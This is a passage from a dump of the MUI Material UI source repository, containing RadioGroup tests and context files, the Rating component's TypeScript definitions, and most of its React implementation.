render(<RadioGroupControlled name=\"group\" ref={radioGroupRef} />);\n\n        expect(radioGroupRef.current).to.have.property('name', 'group');\n\n        setProps({ name: 'anotherGroup' });\n        expect(radioGroupRef.current).to.have.property('name', 'anotherGroup');\n      });\n\n      it('should have the value prop from the instance', () => {\n        const radioGroupRef = React.createRef();\n        const { setProps } = render(<RadioGroupControlled ref={radioGroupRef} value=\"\" />);\n\n        expect(radioGroupRef.current).to.have.property('value', '');\n\n        setProps({ value: 'one' });\n        expect(radioGroupRef.current).to.have.property('value', 'one');\n      });\n\n      it('should have a default name from the instance', () => {\n        const radioGroupRef = React.createRef();\n        const { setProps } = render(<RadioGroupControlled ref={radioGroupRef} />);\n\n        expect(radioGroupRef.current.name).not.to.equal('');\n\n        setProps({ name: 'anotherGroup' });\n        expect(radioGroupRef.current).to.have.property('name', 'anotherGroup');\n      });\n    });\n\n    describe('callbacks', () => {\n      const RadioGroupController = React.forwardRef((_, ref) => {\n        const radioGroup = useRadioGroup();\n        React.useImperativeHandle(ref, () => radioGroup, [radioGroup]);\n        return null;\n      });\n\n      const RadioGroupControlled = React.forwardRef(function RadioGroupControlled(props, ref) {\n        return (\n          <RadioGroup {...props}>\n            <RadioGroupController ref={ref} />\n          </RadioGroup>\n        );\n      });\n\n      describe('onChange', () => {\n        it('should set the value state', () => {\n          const radioGroupRef = React.createRef();\n          render(<RadioGroupControlled ref={radioGroupRef} defaultValue=\"zero\" />);\n\n          expect(radioGroupRef.current).to.have.property('value', 'zero');\n\n          act(() => {\n            radioGroupRef.current.onChange({ target: { value: 'one' } });\n          });\n\n          expect(radioGroupRef.current).to.have.property('value', 'one');\n\n          act(() => {\n            radioGroupRef.current.onChange({ target: { value: 'two' } });\n          });\n\n          expect(radioGroupRef.current).to.have.property('value', 'two');\n        });\n      });\n    });\n  });\n\n  describe('warnings', () => {\n    it('should warn when switching from controlled to uncontrolled', () => {\n      const { setProps } = render(\n        <RadioGroup value=\"foo\">\n          <Radio value=\"foo\" />\n        </RadioGroup>,\n      );\n\n      expect(() => {\n        setProps({ value: undefined });\n      }).toErrorDev(\n        'MUI: A component is changing the controlled value state of RadioGroup to be uncontrolled.',\n      );\n    });\n\n    it('should warn when switching between uncontrolled to controlled', () => {\n      const { setProps } = render(\n        <RadioGroup>\n          <Radio value=\"foo\" />\n        </RadioGroup>,\n      );\n\n      expect(() => {\n        setProps({ value: 'foo' });\n      }).toErrorDev(\n        'MUI: A component is changing the uncontrolled value state of RadioGroup to be controlled.',\n      );\n    });\n  });\n\n  it('should apply the classnames', () => {\n    render(\n      <RadioGroup name=\"group\" row>\n        <Radio value={1} />\n        <Radio value={2} />\n      </RadioGroup>,\n    );\n\n    const radiogroup = screen.getByRole('radiogroup');\n    expect(radiogroup).to.have.class(classes.root);\n    expect(radiogroup).to.have.class(classes.row);\n    expect(radiogroup).not.to.have.class(classes.error);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/RadioGroupContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nexport interface RadioGroupContextValue {\n  name: string | undefined;\n  onChange: (event: React.ChangeEvent<HTMLInputElement>, value: string) => void;\n  value: any;\n}\n\n/**\n * @ignore - internal component.\n */\nconst RadioGroupContext = React.createContext<RadioGroupContextValue | undefined>(undefined);\n\nif (process.env.NODE_ENV !== 'production') {\n  RadioGroupContext.displayName = 'RadioGroupContext';\n}\n\nexport default RadioGroupContext;\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/index.d.ts",
    "content": "export { default } from './RadioGroup';\nexport * from './RadioGroup';\n\nexport { default as useRadioGroup, RadioGroupState } from './useRadioGroup';\n\nexport { default as radioGroupClasses } from './radioGroupClasses';\nexport * from './radioGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/index.js",
    "content": "export { default } from './RadioGroup';\nexport { default as useRadioGroup } from './useRadioGroup';\n\nexport { default as radioGroupClasses } from './radioGroupClasses';\nexport * from './radioGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/radioGroupClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport { FormGroupClasses } from '../FormGroup';\n\nexport type RadioGroupClassKey = keyof FormGroupClasses;\n\nexport type RadioGroupClasses = FormGroupClasses;\n\nexport function getRadioGroupUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiRadioGroup', slot);\n}\n\nconst radioGroupClasses: RadioGroupClasses = generateUtilityClasses('MuiRadioGroup', [\n  'root',\n  'row',\n  'error',\n]);\n\nexport default radioGroupClasses;\n"
  },
  {
    "path": "packages/mui-material/src/RadioGroup/useRadioGroup.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport RadioGroupContext, { RadioGroupContextValue } from './RadioGroupContext';\n\nexport interface RadioGroupState extends RadioGroupContextValue {}\n\nexport default function useRadioGroup(): RadioGroupState | undefined {\n  return React.useContext(RadioGroupContext);\n}\n"
  },
  {
    "path": "packages/mui-material/src/Rating/Rating.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { RatingClasses } from './ratingClasses';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface IconContainerProps extends React.HTMLAttributes<HTMLSpanElement> {\n  value: number;\n}\n\nexport interface RatingPropsSizeOverrides {}\n\nexport interface RatingRootSlotPropsOverrides {}\nexport interface RatingLabelSlotPropsOverrides {}\nexport interface RatingIconSlotPropsOverrides {}\nexport interface RatingDecimalSlotPropsOverrides {}\n\nexport interface RatingSlots {\n  /**\n   * The component used for the root slot.\n   * @default 'span'\n   */\n  root: React.ElementType;\n  /**\n   * The component used for the label slot.\n   * @default 'label'\n   */\n  label: React.ElementType;\n  /**\n   * The component used for the icon slot.\n   * @default 'span'\n   */\n  icon: React.ElementType;\n  /**\n   * The component used for the decimal slot.\n   * @default 'span'\n   */\n  decimal: React.ElementType;\n}\n\nexport type RatingSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  RatingSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the span element.\n     */\n    root: SlotProps<'span', RatingRootSlotPropsOverrides, RatingOwnerState>;\n    /**\n     * Props forwarded to the label slot.\n     * By default, the available props are based on the label element.\n     */\n    label: SlotProps<'label', RatingLabelSlotPropsOverrides, RatingOwnerState>;\n    /**\n     * Props forwarded to the icon slot.\n     * By default, the available props are based on the span element.\n     */\n    icon: SlotProps<'span', RatingIconSlotPropsOverrides, RatingOwnerState>;\n    /**\n     * Props forwarded to the decimal slot.\n     * By default, the available props are based on the span element.\n     */\n    decimal: SlotProps<'span', RatingDecimalSlotPropsOverrides, RatingOwnerState>;\n  }\n>;\n\nexport interface RatingOwnProps extends RatingSlotsAndSlotProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<RatingClasses> | undefined;\n  /**\n   * The default value. Use when the component is not controlled.\n   * @default null\n   */\n  defaultValue?: number | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * The icon to display when empty.\n   * @default <StarBorder fontSize=\"inherit\" />\n   */\n  emptyIcon?: React.ReactNode;\n  /**\n   * The label read when the rating input is empty.\n   * @default 'Empty'\n   */\n  emptyLabelText?: React.ReactNode;\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current value of the rating.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {number} value The rating label's value to format.\n   * @returns {string}\n   * @default function defaultLabelText(value) {\n   *   return `${value || '0'} Star${value !== 1 ? 's' : ''}`;\n   * }\n   */\n  getLabelText?: ((value: number) => string) | undefined;\n  /**\n   * If `true`, only the selected icon will be highlighted.\n   * @default false\n   */\n  highlightSelectedOnly?: boolean | undefined;\n  /**\n   * The icon to display.\n   * @default <Star fontSize=\"inherit\" />\n   */\n  icon?: React.ReactNode;\n  /**\n   * Maximum rating.\n   * @default 5\n   */\n  max?: number | undefined;\n  /**\n   * The name attribute of the radio `input` elements.\n   * This input `name` should be unique within the page.\n   * Being unique within a form is insufficient since the `name` is used to generate IDs.\n   */\n  name?: string | undefined;\n  /**\n   * Callback fired when the value changes.\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {number|null} value The new value.\n   */\n  onChange?: ((event: React.SyntheticEvent, value: number | null) => void) | undefined;\n  /**\n   * Callback function that is fired when the hover state changes.\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {number} value The new value.\n   */\n  onChangeActive?: ((event: React.SyntheticEvent, value: number) => void) | undefined;\n  /**\n   * The minimum increment value change allowed.\n   * @default 1\n   */\n  precision?: number | undefined;\n  /**\n   * Removes all hover effects and pointer events.\n   * @default false\n   */\n  readOnly?: boolean | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium' | 'large', RatingPropsSizeOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The rating value.\n   */\n  value?: number | null | undefined;\n}\n\nexport interface RatingOwnerState extends Omit<RatingProps, 'slots' | 'slotProps'> {}\n\nexport type RatingTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'span',\n> = {\n  props: AdditionalProps & RatingOwnProps;\n  defaultComponent: RootComponent;\n};\n\n/**\n *\n * Demos:\n *\n * - [Rating](https://next.mui.com/material-ui/react-rating/)\n *\n * API:\n *\n * - [Rating API](https://next.mui.com/material-ui/api/rating/)\n */\ndeclare const Rating: OverridableComponent<RatingTypeMap>;\n\nexport type RatingProps<\n  RootComponent extends React.ElementType = RatingTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<RatingTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Rating;\n"
  },
  {
    "path": "packages/mui-material/src/Rating/Rating.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport clamp from '@mui/utils/clamp';\nimport visuallyHidden from '@mui/utils/visuallyHidden';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport isFocusVisible from '@mui/utils/isFocusVisible';\nimport { capitalize, useForkRef, useControlled, unstable_useId as useId } from '../utils';\nimport Star from '../internal/svg-icons/Star';\nimport StarBorder from '../internal/svg-icons/StarBorder';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport slotShouldForwardProp from '../styles/slotShouldForwardProp';\nimport ratingClasses, { getRatingUtilityClass } from './ratingClasses';\nimport useSlot from '../utils/useSlot';\n\nfunction getDecimalPrecision(num) {\n  const decimalPart = num.toString().split('.')[1];\n  return decimalPart ? decimalPart.length : 0;\n}\n\nfunction roundValueToPrecision(value, precision) {\n  if (value == null) {\n    return value;\n  }\n\n  const nearest = Math.round(value / precision) * precision;\n  return Number(nearest.toFixed(getDecimalPrecision(precision)));\n}\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, size, readOnly, disabled, emptyValueFocused, focusVisible } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      `size${capitalize(size)}`,\n      disabled && 'disabled',\n      focusVisible && 'focusVisible',\n      readOnly && 'readOnly',\n    ],\n    label: ['label', 'pristine'],\n    labelEmptyValue: [emptyValueFocused && 'labelEmptyValueActive'],\n    icon: ['icon'],\n    iconEmpty: ['iconEmpty'],\n    iconFilled: ['iconFilled'],\n    iconHover: ['iconHover'],\n    iconFocus: ['iconFocus'],\n    iconActive: ['iconActive'],\n    decimal: ['decimal'],\n    visuallyHidden: ['visuallyHidden'],\n  };\n\n  return composeClasses(slots, getRatingUtilityClass, classes);\n};\n\nconst RatingRoot = styled('span', {\n  name: 'MuiRating',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${ratingClasses.visuallyHidden}`]: styles.visuallyHidden },\n      styles.root,\n      styles[`size${capitalize(ownerState.size)}`],\n      ownerState.readOnly && styles.readOnly,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'inline-flex',\n    // Required to position the pristine input absolutely\n    position: 'relative',\n    fontSize: theme.typography.pxToRem(24),\n    color: '#faaf00',\n    cursor: 'pointer',\n    textAlign: 'left',\n    width: 'min-content',\n    WebkitTapHighlightColor: 'transparent',\n    [`&.${ratingClasses.disabled}`]: {\n      opacity: (theme.vars || theme).palette.action.disabledOpacity,\n      pointerEvents: 'none',\n    },\n    [`&.${ratingClasses.focusVisible} .${ratingClasses.iconActive}`]: {\n      outline: '1px solid #999',\n    },\n    [`& .${ratingClasses.visuallyHidden}`]: visuallyHidden,\n    variants: [\n      {\n        props: {\n          size: 'small',\n        },\n        style: {\n          fontSize: theme.typography.pxToRem(18),\n        },\n      },\n      {\n        props: {\n          size: 'large',\n        },\n        style: {\n          fontSize: theme.typography.pxToRem(30),\n        },\n      },\n      {\n        // TODO v6: use the .Mui-readOnly global state class\n        props: ({ ownerState }) => ownerState.readOnly,\n        style: {\n          pointerEvents: 'none',\n        },\n      },\n    ],\n  })),\n);\n\nconst RatingLabel = styled('label', {\n  name: 'MuiRating',\n  slot: 'Label',\n  overridesResolver: ({ ownerState }, styles) => [\n    styles.label,\n    ownerState.emptyValueFocused && styles.labelEmptyValueActive,\n  ],\n})({\n  cursor: 'inherit',\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.emptyValueFocused,\n      style: {\n        top: 0,\n        bottom: 0,\n        position: 'absolute',\n        outline: '1px solid #999',\n        width: '100%',\n      },\n    },\n  ],\n});\n\nconst RatingIcon = styled('span', {\n  name: 'MuiRating',\n  slot: 'Icon',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.icon,\n      ownerState.iconEmpty && styles.iconEmpty,\n      ownerState.iconFilled && styles.iconFilled,\n      ownerState.iconHover && styles.iconHover,\n      ownerState.iconFocus && styles.iconFocus,\n      ownerState.iconActive && styles.iconActive,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    // Fit wrapper to actual icon size.\n    display: 'flex',\n    transition: theme.transitions.create('transform', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    // Fix mouseLeave issue.\n    // https://github.com/facebook/react/issues/4492\n    pointerEvents: 'none',\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.iconActive,\n        style: {\n          transform: 'scale(1.2)',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.iconEmpty,\n        style: {\n          color: (theme.vars || theme).palette.action.disabled,\n        },\n      },\n    ],\n  })),\n);\n\nconst RatingDecimal = styled('span', {\n  name: 'MuiRating',\n  slot: 'Decimal',\n  shouldForwardProp: (prop) => slotShouldForwardProp(prop) && prop !== 'iconActive',\n  overridesResolver: (props, styles) => {\n    const { iconActive } = props;\n\n    return [styles.decimal, iconActive && styles.iconActive];\n  },\n})({\n  position: 'relative',\n  variants: [\n    {\n      props: ({ iconActive }) => iconActive,\n      style: {\n        transform: 'scale(1.2)',\n      },\n    },\n  ],\n});\n\nfunction IconContainer(props) {\n  const { value, ...other } = props;\n  return <span {...other} />;\n}\n\nIconContainer.propTypes = {\n  value: PropTypes.number.isRequired,\n};\n\nfunction RatingItem(props) {\n  const {\n    classes,\n    disabled,\n    emptyIcon,\n    focus,\n    getLabelText,\n    highlightSelectedOnly,\n    hover,\n    icon,\n    isActive,\n    itemValue,\n    labelProps,\n    name,\n    onBlur,\n    onChange,\n    onClick,\n    onFocus,\n    readOnly,\n    ownerState,\n    ratingValue,\n    ratingValueRounded,\n    slots = {},\n    slotProps = {},\n  } = props;\n\n  const isFilled = highlightSelectedOnly ? itemValue === ratingValue : itemValue <= ratingValue;\n  const isHovered = itemValue <= hover;\n  const isFocused = itemValue <= focus;\n  const isChecked = itemValue === ratingValueRounded;\n\n  // \"name\" ensures unique IDs across different Rating components in React 17,\n  // preventing one component from affecting another. React 18's useId already handles this.\n  // Update to const id = useId(); when React 17 support is dropped.\n  // More details: https://github.com/mui/material-ui/issues/40997\n  const id = `${name}-${useId()}`;\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [IconSlot, iconSlotProps] = useSlot('icon', {\n    elementType: RatingIcon,\n    className: clsx(classes.icon, {\n      [classes.iconEmpty]: !isFilled,\n      [classes.iconFilled]: isFilled,\n      [classes.iconHover]: isHovered,\n      [classes.iconFocus]: isFocused,\n      [classes.iconActive]: isActive,\n    }),\n    externalForwardedProps,\n    ownerState: {\n      ...ownerState,\n      iconEmpty: !isFilled,\n      iconFilled: isFilled,\n      iconHover: isHovered,\n      iconFocus: isFocused,\n      iconActive: isActive,\n    },\n    additionalProps: {\n      value: itemValue,\n    },\n    internalForwardedProps: {\n      as: IconContainer,\n    },\n  });\n\n  const [LabelSlot, labelSlotProps] = useSlot('label', {\n    elementType: RatingLabel,\n    externalForwardedProps,\n    ownerState: { ...ownerState, emptyValueFocused: undefined },\n    additionalProps: {\n      style: labelProps?.style,\n      htmlFor: id,\n    },\n  });\n\n  const container = (\n    <IconSlot {...iconSlotProps}>{emptyIcon && !isFilled ? emptyIcon : icon}</IconSlot>\n  );\n\n  if (readOnly) {\n    return <span {...labelProps}>{container}</span>;\n  }\n\n  return (\n    <React.Fragment>\n      <LabelSlot {...labelSlotProps}>\n        {container}\n        <span className={classes.visuallyHidden}>{getLabelText(itemValue)}</span>\n      </LabelSlot>\n      <input\n        className={classes.visuallyHidden}\n        onFocus={onFocus}\n        onBlur={onBlur}\n        onChange={onChange}\n        onClick={onClick}\n        disabled={disabled}\n        value={itemValue}\n        id={id}\n        type=\"radio\"\n        name={name}\n        checked={isChecked}\n      />\n    </React.Fragment>\n  );\n}\n\nRatingItem.propTypes = {\n  classes: PropTypes.object.isRequired,\n  disabled: PropTypes.bool.isRequired,\n  emptyIcon: PropTypes.node,\n  focus: PropTypes.number.isRequired,\n  getLabelText: PropTypes.func.isRequired,\n  highlightSelectedOnly: PropTypes.bool.isRequired,\n  hover: PropTypes.number.isRequired,\n  icon: PropTypes.node,\n  isActive: PropTypes.bool.isRequired,\n  itemValue: PropTypes.number.isRequired,\n  labelProps: PropTypes.object,\n  name: PropTypes.string,\n  onBlur: PropTypes.func.isRequired,\n  onChange: PropTypes.func.isRequired,\n  onClick: PropTypes.func.isRequired,\n  onFocus: PropTypes.func.isRequired,\n  ownerState: PropTypes.object.isRequired,\n  ratingValue: PropTypes.number,\n  ratingValueRounded: PropTypes.number,\n  readOnly: PropTypes.bool.isRequired,\n  slotProps: PropTypes.object,\n  slots: PropTypes.object,\n};\n\nconst defaultIcon = <Star fontSize=\"inherit\" />;\nconst defaultEmptyIcon = <StarBorder fontSize=\"inherit\" />;\n\nfunction defaultLabelText(value) {\n  return `${value || '0'} Star${value !== 1 ? 's' : ''}`;\n}\n\nconst Rating = React.forwardRef(function Rating(inProps, ref) {\n  const props = useDefaultProps({ name: 'MuiRating', props: inProps });\n  const {\n    component = 'span',\n    className,\n    defaultValue = null,\n    disabled = false,\n    emptyIcon = defaultEmptyIcon,\n    emptyLabelText = 'Empty',\n    getLabelText = defaultLabelText,\n    highlightSelectedOnly = false,\n    icon = defaultIcon,\n    max = 5,\n    name: nameProp,\n    onChange,\n    onChangeActive,\n    onMouseLeave,\n    onMouseMove,\n    precision = 1,\n    readOnly = false,\n    size = 'medium',\n    value: valueProp,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const name = useId(nameProp);\n\n  const [valueDerived, setValueState] = useControlled({\n    controlled: valueProp,\n    default: defaultValue,\n    name: 'Rating',\n  });\n\n  const valueRounded = roundValueToPrecision(valueDerived, precision);\n  const isRtl = useRtl();\n  const [{ hover, focus }, setState] = React.useState({\n    hover: -1,\n    focus: -1,\n  });\n\n  let value = valueRounded;\n  if (hover !== -1) {\n    value = hover;\n  }\n  if (focus !== -1) {\n    value = focus;\n  }\n\n  const [focusVisible, setFocusVisible] = React.useState(false);\n\n  const rootRef = React.useRef();\n  const handleRef = useForkRef(rootRef, ref);\n\n  const handleMouseMove = (event) => {\n    if (onMouseMove) {\n      onMouseMove(event);\n    }\n\n    const rootNode = rootRef.current;\n    const { right, left, width: containerWidth } = rootNode.getBoundingClientRect();\n\n    let percent;\n\n    if (isRtl) {\n      percent = (right - event.clientX) / containerWidth;\n    } else {\n      percent = (event.clientX - left) / containerWidth;\n    }\n\n    let newHover = roundValueToPrecision(max * percent + precision / 2, precision);\n    newHover = clamp(newHover, precision, max);\n\n    setState((prev) =>\n      prev.hover === newHover && prev.focus === newHover\n        ? prev\n        : {\n            hover: newHover,\n            focus: newHover,\n          },\n    );\n\n    setFocusVisible(false);\n\n    if (onChangeActive && hover !== newHover) {\n      onChangeActive(event, newHover);\n    }\n  };\n\n  const handleMouseLeave = (event) => {\n    if (onMouseLeave) {\n      onMouseLeave(event);\n    }\n\n    const newHover = -1;\n    setState({\n      hover: newHover,\n      focus: newHover,\n    });\n\n    if (onChangeActive && hover !== newHover) {\n      onChangeActive(event, newHover);\n    }\n  };\n\n  const handleChange = (event) => {\n    let newValue = event.target.value === '' ? null : parseFloat(event.target.value);\n\n    // Give mouse priority over keyboard\n    // Fix https://github.com/mui/material-ui/issues/22827\n    if (hover !== -1) {\n      newValue = hover;\n    }\n\n    setValueState(newValue);\n\n    if (onChange) {\n      onChange(event, newValue);\n    }\n  };\n\n  const handleClear = (event) => {\n    // Ignore keyboard events\n    // https://github.com/facebook/react/issues/7407\n    if (event.clientX === 0 && event.clientY === 0) {\n      return;\n    }\n\n    setState({\n      hover: -1,\n      focus: -1,\n    });\n\n    setValueState(null);\n\n    if (onChange && parseFloat(event.target.value) === valueRounded) {\n      onChange(event, null);\n    }\n  };\n\n  const handleFocus = (event) => {\n    if (isFocusVisible(event.target)) {\n      setFocusVisible(true);\n    }\n\n    const newFocus = parseFloat(event.target.value);\n    setState((prev) => ({\n      hover: prev.hover,\n      focus: newFocus,\n    }));\n  };\n\n  const handleBlur = (event) => {\n    if (hover !== -1) {\n      return;\n    }\n\n    if (!isFocusVisible(event.target)) {\n      setFocusVisible(false);\n    }\n\n    const newFocus = -1;\n    setState((prev) => ({\n      hover: prev.hover,\n      focus: newFocus,\n    }));\n  };\n\n  const [emptyValueFocused, setEmptyValueFocused] = React.useState(false);\n\n  const ownerState = {\n    ...props,\n    component,\n    defaultValue,\n    disabled,\n    emptyIcon,\n    emptyLabelText,\n    emptyValueFocused,\n    focusVisible,\n    getLabelText,\n    icon,\n    max,\n    precision,\n    readOnly,\n    size,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref: handleRef,\n    className: clsx(classes.root, className),\n    elementType: RatingRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n      component,\n    },\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onMouseMove: (event) => {\n        handleMouseMove(event);\n        handlers.onMouseMove?.(event);\n      },\n      onMouseLeave: (event) => {\n        handleMouseLeave(event);\n        handlers.onMouseLeave?.(event);\n      },\n    }),\n    ownerState,\n    additionalProps: {\n      role: readOnly ? 'img' : null,\n      'aria-label': readOnly ? getLabelText(value) : null,\n    },\n  });\n\n  const [LabelSlot, labelSlotProps] = useSlot('label', {\n    className: clsx(classes.label, classes.labelEmptyValue),\n    elementType: RatingLabel,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [DecimalSlot, decimalSlotProps] = useSlot('decimal', {\n    className: classes.decimal,\n    elementType: RatingDecimal,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      {Array.from(new Array(max)).map((_, index) => {\n        const itemValue = index + 1;\n\n        const ratingItemProps = {\n          classes,\n          disabled,\n          emptyIcon,\n          focus,\n          getLabelText,\n          highlightSelectedOnly,\n          hover,\n          icon,\n          name,\n          onBlur: handleBlur,\n          onChange: handleChange,\n          onClick: handleClear,\n          onFocus: handleFocus,\n          ratingValue: value,\n          ratingValueRounded: valueRounded,\n          readOnly,\n          ownerState,\n          slots,\n          slotProps,\n        };\n\n        const isActive = itemValue === Math.ceil(value) && (hover !== -1 || focus !== -1);\n        if (precision < 1) {\n          const items = Array.from(new Array(1 / precision));\n          return (\n            <DecimalSlot\n              {...decimalSlotProps}\n              key={itemValue}\n              className={clsx(decimalSlotProps.className, { [classes.iconActive]: isActive })}\n              iconActive={isActive}\n            >\n              {items.map(($, indexDecimal) => {\n                const itemDecimalValue = roundValueToPrecision(\n                  itemValue - 1 + (indexDecimal + 1) * precision,\n                  precision,\n                );\n\n                return (\n                  <RatingItem\n                    key={itemDecimalValue}\n                    {...ratingItemProps}\n                    // The icon is already displayed as active\n                    isActive={false}\n                    itemValue={itemDecimalValue}\n                    labelProps={{\n                      style:\n                        items.length - 1 === indexDecimal\n                          ? {}\n                          : {\n                              width:\n                                itemDecimalValue === value\n                                  ? `${(indexDecimal + 1) * precision * 100}%`\n                                  : '0%',\n                              overflow: 'hidden',\n                              position: 'absolute',\n                            },\n                    }}\n                  />\n                );\n              })}\n            </DecimalSlot>\n          );\n        }\n\n        return (\n          <RatingItem\n            key={itemValue}\n            {...ratingItemProps}\n            isActive={isActive}\n            itemValue={itemValue}\n          />\n        );\n      })}\n      {!readOnly && !disabled && (\n        <LabelSlot {...labelSlotProps}>\n          <input\n            className={classes.visuallyHidden}\n            value=\"\"\n            id={`${name}-empty`}\n            type=\"radio\"\n            name={name}\n            checked={valueRounded == null}\n            onFocus={() => setEmptyValueFocused(true)}\n            onBlur={() => setEmptyValueFocused(false)}\n            onChange={handleChange}\n          />\n          <span className={classes.visuallyHidden}>{emptyLabelText}</span>\n        </LabelSlot>\n      )}\n    </RootSlot>\n  );\n});\n\nRating.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The default value. Use when the component is not controlled.\n   * @default null\n   */\n  defaultValue: PropTypes.number,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * The icon to display when empty.\n   * @default <StarBorder fontSize=\"inherit\" />\n   */\n  emptyIcon: PropTypes.node,\n  /**\n   * The label read when the rating input is empty.\n   * @default 'Empty'\n   */\n  emptyLabelText: PropTypes.node,\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current value of the rating.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {number} value The rating label's value to format.\n   * @returns {string}\n   * @default function defaultLabelText(value) {\n   *   return `${value || '0'} Star${value !== 1 ? 's' : ''}`;\n   * }\n   */\n  getLabelText: PropTypes.func,\n  /**\n   * If `true`, only the selected icon will be highlighted.\n   * @default false\n   */\n  highlightSelectedOnly: PropTypes.bool,\n  /**\n   * The icon to display.\n   * @default <Star fontSize=\"inherit\" />\n   */\n  icon: PropTypes.node,\n  /**\n   * Maximum rating.\n   * @default 5\n   */\n  max: PropTypes.number,\n  /**\n   * The name attribute of the radio `input` elements.\n   * This input `name` should be unique within the page.\n   * Being unique within a form is insufficient since the `name` is used to generate IDs.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when the value changes.\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {number|null} value The new value.\n   */\n  onChange: PropTypes.func,\n  /**\n   * Callback function that is fired when the hover state changes.\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {number} value The new value.\n   */\n  onChangeActive: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseLeave: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseMove: PropTypes.func,\n  /**\n   * The minimum increment value change allowed.\n   * @default 1\n   */\n  precision: chainPropTypes(PropTypes.number, (props) => {\n    if (props.precision < 0.1) {\n      return new Error(\n        [\n          'MUI: The prop `precision` should be above 0.1.',\n          'A value below this limit has an imperceptible impact.',\n        ].join('\\n'),\n      );\n    }\n    return null;\n  }),\n  /**\n   * Removes all hover effects and pointer events.\n   * @default false\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    decimal: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    icon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    label: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used 